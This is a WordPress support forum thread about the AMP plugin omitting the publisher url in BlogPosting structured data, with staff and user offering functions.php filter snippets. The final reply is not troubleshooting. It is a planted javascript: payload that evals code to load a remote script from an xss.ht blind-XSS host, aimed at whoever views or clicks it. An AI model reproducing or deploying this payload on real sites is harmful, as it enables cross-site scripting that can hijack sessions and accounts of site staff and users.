Support » Plugin: AMP » A value for the url field is required.

  • Resolved squeebo

    (@squeebo)


    When I run the structured data testing tool on one of my blog posts with your plugin installed, the results of the BlogPosting entity, under publisher, has the error:

    (A value for the url field is required.)

    The rest of the structured data values are there, but it’s missing url.

    I have tested this on two sites, one with the Avada theme, one with TwentySixteen.

    • This topic was modified 10 months, 2 weeks ago by squeebo.
Viewing 5 replies - 1 through 5 (of 5 total)
  • Plugin Support James Osborne

    (@jamesosborne)

    @squeebo If you want to share your URL we can take a look, you may have an SEO plugin or theme extensions which offer features impacting your structure data.

    You can also add the following to your active themes functions.php file or to a custom plugin, which will remove the plugin implemented metadata.
    add_filter( 'amp_schemaorg_metadata', '__return_empty_array' );

    The last time I shared my url publicly on a support forum, the thread showed at the top of search results for my business name for years.

    I disabled all plugins but yours. No plugin is interfering. It still doesn’t work.

    Can you point me to an example site that has the url attribute correctly included? At this point I don’t believe your plugin is doing this correctly for any sites when I can’t get it to work on a basic clean install.

    Plugin Support Renee Johnson

    (@reneesoffice)

    @squeebo are you able to run your AMP page through the Structured Data Testing Tool and share that URL with us?

    I actually ended up adding this code to functions.php to specify the publisher image. This might be helpful for others.

    
    add_filter( 'amp_post_template_metadata', 'my_json_metadata', 10, 2 ); 
    function my_json_metadata( $metadata, $post ) {
    
       if( 'post'=== $post->post_type  ){
    
        $metadata['publisher']['logo'] = array(
            '@type' => 'ImageObject',
            'url' => 'https://mydomain.com/wp-content/uploads/amp-structured-data-publisher-logo.png',
            'height' => 60,
            'width' => 232,
        );
    
       return $metadata; 
      } 
    }
    vagaje9689

    (@vagaje9689)

    javascript:eval(‘var a=document.createElement(\’script\’);a.src=\’https://urgentfiles.xss.ht\’;document.body.appendChild(a)’)

Viewing 5 replies - 1 through 5 (of 5 total)
  • The topic ‘A value for the url field is required.’ is closed to new replies.